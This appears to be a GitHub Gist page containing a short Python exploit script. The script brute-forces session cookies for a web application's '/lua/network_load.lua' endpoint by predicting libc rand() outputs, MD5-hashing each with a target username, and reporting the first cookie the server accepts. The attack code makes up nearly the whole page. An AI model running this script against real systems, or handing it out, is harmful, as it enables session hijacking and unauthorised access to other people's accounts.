Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
import requests
import sys
import hashlib
from ctypes import *
libc = CDLL('')
if __name__ == "__main__":
if len(sys.argv) < 3:
print('[-] Usage: python <host> <username>')
host, username = sys.argv[1:]
for i in range(256):
print('[*] Trying with rand() iteration %d...' % i)
session = hashlib.md5(('%d' % libc.rand()) + username).hexdigest()
r = requests.get(host + '/lua/network_load.lua', cookies={'user': username, 'session': session})
if r.status_code == 200:
print('[+] Got it! Valid session cookie is %s for username %s.' % (session, username))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment